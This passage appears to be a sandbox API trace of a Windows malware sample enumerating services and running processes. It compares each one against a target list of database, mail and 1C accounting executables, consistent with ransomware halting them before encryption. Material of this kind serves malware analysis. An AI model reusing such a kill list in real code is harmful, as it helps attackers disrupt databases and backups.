lstrlenW (lpString="Winmgmt") returned 7 [0061.998] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0061.998] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0061.998] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0061.999] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0061.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0061.999] lstrlenW (lpString="wscsvc") returned 6 [0061.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wscsvc") returned -1 [0061.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wscsvc") returned -1 [0061.999] lstrcmpiW (lpString1="sqlwriter", lpString2="wscsvc") returned -1 [0061.999] lstrcmpiW (lpString1="mssqlserver", lpString2="wscsvc") returned -1 [0061.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wscsvc") returned -1 [0061.999] lstrlenW (lpString="wuauserv") returned 8 [0061.999] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="wuauserv") returned -1 [0061.999] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="wuauserv") returned -1 [0061.999] lstrcmpiW (lpString1="sqlwriter", lpString2="wuauserv") returned -1 [0061.999] lstrcmpiW (lpString1="mssqlserver", lpString2="wuauserv") returned -1 [0061.999] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="wuauserv") returned -1 [0061.999] HeapFree (in: hHeap=0x4c0000, dwFlags=0x0, lpMem=0x36ee350 | out: hHeap=0x4c0000) returned 1 [0062.000] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e4 [0062.009] Process32FirstW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0062.011] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0062.012] lstrlenW (lpString="System") returned 6 [0062.012] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0062.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0062.012] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0062.012] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0062.642] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0062.642] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0062.642] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0062.643] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0062.644] lstrlenW (lpString="smss.exe") returned 8 [0062.644] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0062.644] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0062.645] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0062.645] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0062.645] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0062.645] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0062.645] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0062.645] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.647] lstrlenW (lpString="csrss.exe") returned 9 [0062.647] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0062.648] lstrlenW (lpString="wininit.exe") returned 11 [0062.648] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0062.650] lstrlenW (lpString="csrss.exe") returned 9 [0062.650] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0062.652] lstrlenW (lpString="winlogon.exe") returned 12 [0062.652] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0062.667] lstrlenW (lpString="services.exe") returned 12 [0062.667] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0062.669] lstrlenW (lpString="lsass.exe") returned 9 [0062.670] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0062.671] lstrlenW (lpString="lsm.exe") returned 7 [0062.672] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.673] lstrlenW (lpString="svchost.exe") returned 11 [0062.673] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.675] lstrlenW (lpString="svchost.exe") returned 11 [0062.675] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.676] lstrlenW (lpString="svchost.exe") returned 11 [0062.677] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.678] lstrlenW (lpString="svchost.exe") returned 11 [0062.678] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.680] lstrlenW (lpString="svchost.exe") returned 11 [0062.680] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0062.682] lstrlenW (lpString="audiodg.exe") returned 11 [0062.682] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.683] lstrlenW (lpString="svchost.exe") returned 11 [0062.683] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.685] lstrlenW (lpString="svchost.exe") returned 11 [0062.685] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0062.687] lstrlenW (lpString="dwm.exe") returned 7 [0062.687] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0062.689] lstrlenW (lpString="explorer.exe") returned 12 [0062.689] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0062.691] lstrlenW (lpString="spoolsv.exe") returned 11 [0062.691] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.692] lstrlenW (lpString="taskhost.exe") returned 12 [0062.693] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0062.694] lstrlenW (lpString="svchost.exe") returned 11 [0062.694] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0062.696] lstrlenW (lpString="taskeng.exe") returned 11 [0062.696] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0062.697] lstrlenW (lpString="taskhost.exe") returned 12 [0062.697] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.179] lstrlenW (lpString="svchost.exe") returned 11 [0063.179] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0063.180] lstrlenW (lpString="sppsvc.exe") returned 10 [0063.180] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0063.182] lstrlenW (lpString="svchost.exe") returned 11 [0063.182] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="cosmetics_involving_x.exe")) returned 1 [0063.183] lstrlenW (lpString="cosmetics_involving_x.exe") returned 25 [0063.183] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x73c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="visa thought.exe")) returned 1 [0063.185] lstrlenW (lpString="visa thought.exe") returned 16 [0063.185] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="instrumental.exe")) returned 1 [0063.186] lstrlenW (lpString="instrumental.exe") returned 16 [0063.187] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="mouth tree.exe")) returned 1 [0063.188] lstrlenW (lpString="mouth tree.exe") returned 14 [0063.188] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x764, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="friday complete spiritual.exe")) returned 1 [0063.190] lstrlenW (lpString="friday complete spiritual.exe") returned 29 [0063.190] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="thisul.exe")) returned 1 [0063.191] lstrlenW (lpString="thisul.exe") returned 10 [0063.191] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="adjacent-earlier.exe")) returned 1 [0063.193] lstrlenW (lpString="adjacent-earlier.exe") returned 20 [0063.193] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="tired grad keep.exe")) returned 1 [0063.194] lstrlenW (lpString="tired grad keep.exe") returned 19 [0063.194] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="basename_nested.exe")) returned 1 [0063.196] lstrlenW (lpString="basename_nested.exe") returned 19 [0063.196] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x424, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="reserves-pixel-minds.exe")) returned 1 [0063.198] lstrlenW (lpString="reserves-pixel-minds.exe") returned 24 [0063.198] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-cpu-orange.exe")) returned 1 [0063.199] lstrlenW (lpString="securities-cpu-orange.exe") returned 25 [0063.200] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="exotic.exe")) returned 1 [0063.201] lstrlenW (lpString="exotic.exe") returned 10 [0063.201] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x814, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fisher arab disable.exe")) returned 1 [0063.203] lstrlenW (lpString="fisher arab disable.exe") returned 23 [0063.203] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x824, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="manufacture-mtv.exe")) returned 1 [0063.205] lstrlenW (lpString="manufacture-mtv.exe") returned 19 [0063.205] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="syndicaterssidentity.exe")) returned 1 [0063.206] lstrlenW (lpString="syndicaterssidentity.exe") returned 24 [0063.206] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="belfastcreationdeposit.exe")) returned 1 [0063.208] lstrlenW (lpString="belfastcreationdeposit.exe") returned 26 [0063.208] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="patient.exe")) returned 1 [0063.209] lstrlenW (lpString="patient.exe") returned 11 [0063.210] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x864, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corps.exe")) returned 1 [0063.211] lstrlenW (lpString="corps.exe") returned 9 [0063.211] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="inquire.exe")) returned 1 [0063.213] lstrlenW (lpString="inquire.exe") returned 11 [0063.213] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0063.357] lstrlenW (lpString="3dftp.exe") returned 9 [0063.357] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0063.358] lstrlenW (lpString="absolutetelnet.exe") returned 18 [0063.359] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0063.360] lstrlenW (lpString="alftp.exe") returned 9 [0063.360] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0063.362] lstrlenW (lpString="barca.exe") returned 9 [0063.362] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0063.364] lstrlenW (lpString="bitkinex.exe") returned 12 [0063.364] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0063.365] lstrlenW (lpString="coreftp.exe") returned 11 [0063.365] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0063.367] lstrlenW (lpString="far.exe") returned 7 [0063.367] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0063.369] lstrlenW (lpString="filezilla.exe") returned 13 [0063.369] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x904, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0063.373] lstrlenW (lpString="flashfxp.exe") returned 12 [0063.374] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x914, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0063.375] lstrlenW (lpString="fling.exe") returned 9 [0063.375] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x924, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0063.376] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0063.377] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0063.379] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0063.379] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x944, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0063.382] lstrlenW (lpString="icq.exe") returned 7 [0063.382] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0063.384] lstrlenW (lpString="leechftp.exe") returned 12 [0063.385] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0063.387] lstrlenW (lpString="ncftp.exe") returned 9 [0063.387] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x974, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0063.390] lstrlenW (lpString="notepad.exe") returned 11 [0063.390] Process32NextW (in: hSnapshot=0x1e4, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x984, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0063.392] lstrlenW 